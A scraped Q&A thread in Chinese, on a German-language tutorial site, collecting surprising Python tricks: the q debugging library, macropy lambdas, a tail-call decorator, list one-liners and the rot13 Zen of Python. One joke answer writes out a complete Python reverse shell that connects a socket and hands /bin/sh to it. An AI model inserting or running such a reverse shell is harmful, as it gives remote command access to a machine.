Heim > Backend-Entwicklung > Python-Tutorial > 你见过哪些令你瞠目结舌的 Python 代码技巧?

你见过哪些令你瞠目结舌的 Python 代码技巧?

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
Freigeben: 2016-06-06 16:22:02
Original
1318 Leute haben es durchsucht

基友问题
你见过哪些让你瞠目结舌的JAVA代码技巧? - Java
你见过哪些令你瞠目结舌的C/C++代码技巧? - 互联网
你见过哪些令你瞠目结舌的前端设计? - 程序员
你见过哪些令你瞠目结舌的Javascript代码机技巧? - 程序员
你见过哪些令你瞠目结舌的爬虫技巧? - 计算机

神经问题,非程序员欢迎一起来回答
你见过哪些令你瞠目结舌的神逻辑? - 生活
你见过哪些令你瞠目结舌的黑料理?
你见过哪些令你瞠目结舌的逗逼?
还有更多的,欢迎大家一起系列

回复内容:

当初看到这个还是觉得蛮瞠目结舌的:pypi.python.org/pypi/q
Quick-and-dirty debugging output for tired programmers
正如介绍所说的,Quick-and-dirty,QUICK-and-DIRTY。第一眼看起来,只是觉得这个很方便啊,可是仔细想想怎么实现,真是。。。全是黑科技。。。

Q 的最简单用法,打印 foo 的值:
<span class="kn">import</span> <span class="nn">q</span><span class="p">;</span> <span class="n">q</span><span class="p">(</span><span class="n">foo</span><span class="p">)</span>
Nach dem Login kopieren
让我觉得瞠目结舌的要数这个Python库了,真是将import hook用到了极致:
lihaoyi/macropy · GitHub

你问我这个有什么屌的?
来来来,看几个例子:

更好用的lambda表达式
<span class="kn">from</span> <span class="nn">macropy.quick_lambda</span> <span class="kn">import</span> <span class="n">macros</span><span class="p">,</span> <span class="n">f</span><span class="p">,</span> <span class="n">_</span>

<span class="k">print</span> <span class="nb">map</span><span class="p">(</span><span class="n">f</span><span class="p">[</span><span class="n">_</span> <span class="o">+</span> <span class="mi">1</span><span class="p">],</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">])</span>    <span class="c"># [2, 3, 4]</span>
<span class="k">print</span> <span class="nb">reduce</span><span class="p">(</span><span class="n">f</span><span class="p">[</span><span class="n">_</span> <span class="o">*</span> <span class="n">_</span><span class="p">],</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">])</span> <span class="c"># 6</span>
Nach dem Login kopieren
我记得当初研究python对递归支持有多烂的时候搜到过有人通过装饰器用一种很hack的手法,把尾递归的帧清了。然而现在还是看不懂它写的是什么鬼。
code:
<span class="kn">import</span> <span class="nn">sys</span>  
  
<span class="k">class</span> <span class="nc">TailRecurseException</span><span class="p">:</span>  
  <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">args</span><span class="p">,</span> <span class="n">kwargs</span><span class="p">):</span>  
    <span class="bp">self</span><span class="o">.</span><span class="n">args</span> <span class="o">=</span> <span class="n">args</span>  
    <span class="bp">self</span><span class="o">.</span><span class="n">kwargs</span> <span class="o">=</span> <span class="n">kwargs</span>  
  
<span class="k">def</span> <span class="nf">tail_call_optimized</span><span class="p">(</span><span class="n">g</span><span class="p">):</span>  
  <span class="sd">"""  </span>
<span class="sd">  This function decorates a function with tail call  </span>
<span class="sd">  optimization. It does this by throwing an exception  </span>
<span class="sd">  if it is it's own grandparent, and catching such  </span>
<span class="sd">  exceptions to fake the tail call optimization.  </span>
<span class="sd">    </span>
<span class="sd">  This function fails if the decorated  </span>
<span class="sd">  function recurses in a non-tail context.  </span>
<span class="sd">  """</span>  
  <span class="k">def</span> <span class="nf">func</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>  
    <span class="n">f</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">_getframe</span><span class="p">()</span>  
    <span class="k">if</span> <span class="n">f</span><span class="o">.</span><span class="n">f_back</span> <span class="ow">and</span> <span class="n">f</span><span class="o">.</span><span class="n">f_back</span><span class="o">.</span><span class="n">f_back</span> <span class="ow">and</span> <span class="n">f</span><span class="o">.</span><span class="n">f_back</span><span class="o">.</span><span class="n">f_back</span><span class="o">.</span><span class="n">f_code</span> <span class="o">==</span> <span class="n">f</span><span class="o">.</span><span class="n">f_code</span><span class="p">:</span>  
      <span class="k">raise</span> <span class="n">TailRecurseException</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">kwargs</span><span class="p">)</span>  
    <span class="k">else</span><span class="p">:</span>  
      <span class="k">while</span> <span class="mi">1</span><span class="p">:</span>  
        <span class="k">try</span><span class="p">:</span>  
          <span class="k">return</span> <span class="n">g</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">)</span>  
        <span class="k">except</span> <span class="n">TailRecurseException</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>  
          <span class="n">args</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">args</span>  
          <span class="n">kwargs</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">kwargs</span>  
  <span class="n">func</span><span class="o">.</span><span class="n">__doc__</span> <span class="o">=</span> <span class="n">g</span><span class="o">.</span><span class="n">__doc__</span>  
  <span class="k">return</span> <span class="n">func</span>
Nach dem Login kopieren
谢邀,我今天无耻一回
Dwarfartisan/pyparsec · GitHub

不许打!打也不许打脸! 先让我反弹个shell冷静一下
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",12345))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
Nach dem Login kopieren
之前在GitHub看到有人总结了一些python的tricks
brennerm/PyTricks · GitHub >>> a = [],
>>> a
([],) >>> a = [[1,2],[3,4],[5,6]]
>>> sum(a,[])
[1, 2, 3, 4, 5, 6]

Python 真的好神奇 : )
再补充一个,Python切片:
>>> l = [1,2,3]
>>> l[1:1] = 'a'
>>> l
[1, 'a', 2, 3]

Python分组list:
>>> a = [1, 2, 3, 4, 5, 6]
>>> zip(*([iter(a)] * 2))
[(1, 2), (3, 4), (5, 6)] 前几年刚学python的时候在一个项目里做了几个小尝试。

用元编程动态生成类,生成以后动态加载卸载。

把类当函数用。把函数当变量用。

花样玩容器。

顺手把其他几种EE工程师们写出来的五花八门的脚本包装了一个整整齐齐。

注释齐全,结构简明。不是性能瓶颈,所以性能不在考虑范围内。

结果被“资深工程师”骂成了狗,苦逼地回到了C++。其实只是他没有用过C++以外的任何一种语言,他的逻辑是C++是所有语言的基础,他看不懂的代码就不是好代码。 →_→下面这段居然特么混进了标准库里,令我瞠目结舌
<span class="n">s</span> <span class="o">=</span> <span class="s">"""Gur Mra bs Clguba, ol Gvz Crgref</span>

<span class="s">Ornhgvshy vf orggre guna htyl.</span>
<span class="s">Rkcyvpvg vf orggre guna vzcyvpvg.</span>
<span class="s">Fvzcyr vf orggre guna pbzcyrk.</span>
<span class="s">Pbzcyrk vf orggre guna pbzcyvpngrq.</span>
<span class="s">Syng vf orggre guna arfgrq.</span>
<span class="s">Fcnefr vf orggre guna qrafr.</span>
<span class="s">Ernqnovyvgl pbhagf.</span>
<span class="s">Fcrpvny pnfrf nera'g fcrpvny rabhtu gb oernx gur ehyrf.</span>
<span class="s">Nygubhtu cenpgvpnyvgl orngf chevgl.</span>
<span class="s">Reebef fubhyq arire cnff fvyragyl.</span>
<span class="s">Hayrff rkcyvpvgyl fvyraprq.</span>
<span class="s">Va gur snpr bs nzovthvgl, ershfr gur grzcgngvba gb thrff.</span>
<span class="s">Gurer fubhyq or bar-- naq cersrenoyl bayl bar --boivbhf jnl gb qb vg.</span>
<span class="s">Nygubhtu gung jnl znl abg or boivbhf ng svefg hayrff lbh'er Qhgpu.</span>
<span class="s">Abj vf orggre guna arire.</span>
<span class="s">Nygubhtu arire vf bsgra orggre guna *evtug* abj.</span>
<span class="s">Vs gur vzcyrzragngvba vf uneq gb rkcynva, vg'f n onq vqrn.</span>
<span class="s">Vs gur vzcyrzragngvba vf rnfl gb rkcynva, vg znl or n tbbq vqrn.</span>
<span class="s">Anzrfcnprf ner bar ubaxvat terng vqrn -- yrg'f qb zber bs gubfr!"""</span>

<span class="n">d</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="p">(</span><span class="mi">65</span><span class="p">,</span> <span class="mi">97</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">26</span><span class="p">):</span>
        <span class="n">d</span><span class="p">[</span><span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="n">c</span><span class="p">)]</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">((</span><span class="n">i</span><span class="o">+</span><span class="mi">13</span><span class="p">)</span> <span class="o">%</span> <span class="mi">26</span> <span class="o">+</span> <span class="n">c</span><span class="p">)</span>

<span class="k">print</span> <span class="s">""</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="n">d</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">s</span><span class="p">])</span>
Nach dem Login kopieren
Verwandte Etiketten:
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Aktuelle Ausgaben
Kann Java als Backend des Webs verwendet werden?
Aus 1970-01-01 08:00:00
0
0
0
Installieren Sie JAVA
Aus 1970-01-01 08:00:00
0
0
0
Java kann nicht installiert werden
Aus 1970-01-01 08:00:00
0
0
0
Ist das in der Java-Sprache?
Aus 1970-01-01 08:00:00
0
0
0
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage